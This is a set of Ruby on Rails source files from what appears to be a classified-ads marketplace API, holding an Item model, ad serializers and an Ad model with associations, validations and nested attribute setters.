class Item < ApplicationRecord belongs_to :ad_item has_one :ad, :through => :ad_item has_one :user, :through => :ad validates :title, presence: true end
omikolaj/neos-fair-api
app/serializers/ad_serializer.rb
<filename>app/serializers/ad_serializer.rb class AdSerializer < ActiveModel::Serializer attributes :id, :title, :type, :description, :published has_one :user, serializer: AdUserSerializer has_one :item, serializer: AdItemSerializer has_one :category, serializer: AdCategorySerializer belongs_to :ad_item, serializer: AdAdItemSerializer end
omikolaj/neos-fair-api
app/serializers/user_ad_item_serializer.rb
<reponame>omikolaj/neos-fair-api class UserAdItemSerializer < ActiveModel::Serializer attributes :id, :title end
omikolaj/neos-fair-api
app/models/ad.rb
<filename>app/models/ad.rb<gh_stars>0 class Ad < ApplicationRecord scope :drafts, -> { where(type: 'Draft')} belongs_to :ad_item has_one :user, :through => :ad_item has_one :item, :through => :ad_item has_one :category, :through => :ad_item validates :title, :description, presence: true, length: { minimum: 2 } validate do |ad| if ad.ad_item if !ad.ad_item.valid? ad.ad_item.errors.full_messages.each do |msg| errors[:base] << "Item price can't be blank" end end end if ad.ad_item.item if !ad.ad_item.item.valid? ad.ad_item.item.errors.full_messages.each do |msg| errors[:base] << "Item name can't be blank" end end end end def self.set_to_sold(id) Ad.find_by(:id=>id).update_attribute(:sold, true) end def ad_item_attributes=(ad_item_attributes) self.build_ad_item(ad_item_attributes) end def user_attributes=(user_attributes) self.ad_item.user = User.find_by(:id => user_attributes["id"]) end def item_attributes=(item_attributes) self.ad_item.build_item(item_attributes) end def category_attributes=(category_attributes) self.ad_item.category = Category.all.first end end